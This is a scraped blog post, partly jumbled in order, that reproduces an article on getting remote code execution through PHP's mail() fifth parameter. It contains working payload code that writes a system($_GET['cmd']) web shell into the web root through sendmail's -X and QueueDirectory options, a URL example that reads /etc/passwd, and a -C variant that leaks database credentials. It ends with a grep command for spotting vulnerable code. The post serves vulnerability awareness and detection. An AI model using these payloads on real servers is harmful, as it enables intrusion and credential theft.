mail() function to perform remote code execution, under rare circumstances.
Security Sucks wrote about an interesting way to exploit PHP’s
mail() function for remote code execution. Apparently, if you are able to control the 5th parameter of the
mail() function (
$options), you have the opportunity to execute arbitrary commands.
Nevertheless, as always it is very important tocheck
your PHP code for this PHP mail() remote code execution vulnerability.
Verify and make sure your code is not vulnerable:
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
mail() remote code execution to work, a malicious user has to be able to control what goes into the 5th parameter. For example through not properly validated email forms.
Apparently, the securitysucks.info domain no longer exists and the post is unavailable. I’ve copied the full text below for you, please note this was released on securitysucks.info on September 3, 2014 and it may be outdated.
A recent example exploiting this PHP
mail() remote code execution vulnerability is a command execution via email in Roundcube 1.2.2, discovered by RIPS Technologies. Roundcube posted a patch to GitHub at the end of November, and issued a version 1.2.3 here.
Exploit PHP’s mail() to get remote code execution #While searching around the web for new nifty tricks I stumbled across this post about how to get remote code execution exploiting PHP’s mail() function. First, I must say that this is only going to happen under some really rare circustances. Never the less, it’s really something to think about and keep an eye out for. I will explain an example scenario which I think could be a real life scenario later in this article. So, when that’s said, let’s have a look at what this is all about. When using PHP to send emails we can use PHP’s built in function mail(). This function takes a total of five parameters.
- Headers (Optional)
- Parameters (Optional)
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.This is really interesting. In short, this say that we can alter the behaviour of the sendmail application. Now, let’s have a look at the sendmail manual. I’m not going to post the entire manual here, but I will highlight some of the interesting parts.
Some interesting parameters #
Set option option to the specified value. This form uses long names.
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Some interesting options #
Select the directory in which to queue messages.
So how can this be exploited? #
Remote Code Execution #As stated above, this only occurs under very specific circumstances. For this to be exploitable, the user has to be able to control what goes into the 5th parameter, which does not make sense at all that anyone would do it. But it’s still something that really should be kept in mind by developers.With that said, let’s just dive into it!
Let’s inspect the logs from this. First let’s have a look at what we can see in the browser by only going to the rce.php file
$to = 'email@example.com'; $subject = '<?php system($_GET["cmd"]); ?>'; $message = ''; $headers = ''; $options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php'; mail($to, $subject, $message, $headers, $options);
Nothing really scary to see in this log. Now, let's use the cat command in the terminal on the same file ￼
11226 <<< To: firstname.lastname@example.org 11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php 11226 <<<
See anything a bit more interesting? Let's try to execute some commands. I visit http://localhost/rce.php?cmd=ls%20-la and get the following output
> cat rce.php 11226 <<< To: email@example.com 11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php 11226 <<<
Now, let me break it down in case you don't fully understand the code The first four variables is pretty straight forward. We set the recipient email address to some bogus address, then in the subject we inject the PHP code that will be executing our commands on the system, followed by empty message and headers. Then on the fith variable is where the magic happens. The $options variable holds a string that will let us write our malicious code get remote code execution to the server. First we change the mail queue directory to /tmp using the -O argument with the QueueDirectory option. The reason why we want it there is because this is globally writable. Second the path and filename for the log is changed to /var/www/html/rce.php using the -X argument. Keep in mind that this path will not always be the same. You will have to craft this to fit the targets file system. If we now point our browser at http://example.com/rce.php it will display the log for the attempted delivery. But since we added the PHP code to the $subject variable, we can now add the following query ?cmd=[some command here]. For example * http://example.com/rce.php?cmd=cat%20/etc/passwd*. If you want you could also create a Local/Remote File Inclusion vulnerability as well. To do this, just change system() to include(). This can be handy if wget is not available, or you're not able to include a remote web shell. It's also important to know, that it's not only the subject field that can be used to inject arbitrary code. The content of all the fields, except the fifth, is written to the log.
11226 <<< To: firstname.lastname@example.org 11226 <<< Subject: total 20 drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 . drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 .. -rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php -rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php -rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php 11226 <<< 11226 <<< 11226 <<< 11226 <<< [EOF]
Read files on the server #Another way to exploit this is to directly read files on the server. This can be done by using the -C argument as shown above. I have made a dummy configuration file just to show how it works$to = 'email@example.com';
This creates a file named evil.php with the following content
$subject = ''; $message = ''; $headers = ''; $options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php'; mail($to, $subject, $message, $headers, $options);
Now we have managed to extract very sensitive data, and there's a lot of other things we can extract from the server.
11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php" 11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';" 11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';" 11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';" 11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';" 11124 >>> No local mailer defined
A real-life scenario where this can become a reality #To be honest I actually had to think for this for a file. I mean, who would be so stupid that they let their users control the sendmail parameters. Well, it really doesn't have to be that stupid. So consider this following scenario. You have an admin panel for your website. Just like every other admin panel with respect for itself it let's your set different settings for sending emails. Stuff like port, smtp, etc. But not only that, this administration panel actually let's you monitor your mail logs, and you can decide where to store the logs. Suddenly the idea of the values of the 5th parameter being controlled by an end user doesn't sound that stupid anymore. You would of course not let this be modified from the contact form ￼ But admins wouldn't hack their own site would they.. So in combination with other attacks that results in unauthorized access, this can become a real threat since you can actually create vulnerabilities that was not originally in the application
How to detect a possible vulnerability #The fastes way to detect any possibility for this in code is to use Linux's grep command, and recursively look for any use of mail() with all 5 parameters in use. Position yourself in the root of whatever project you want to check and execute the following command. This will return all code lines that uses mail() with five parameters.
There will probably be some false positives, so if you have any suggestions to improve this to make it even more accurate, please let me know!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *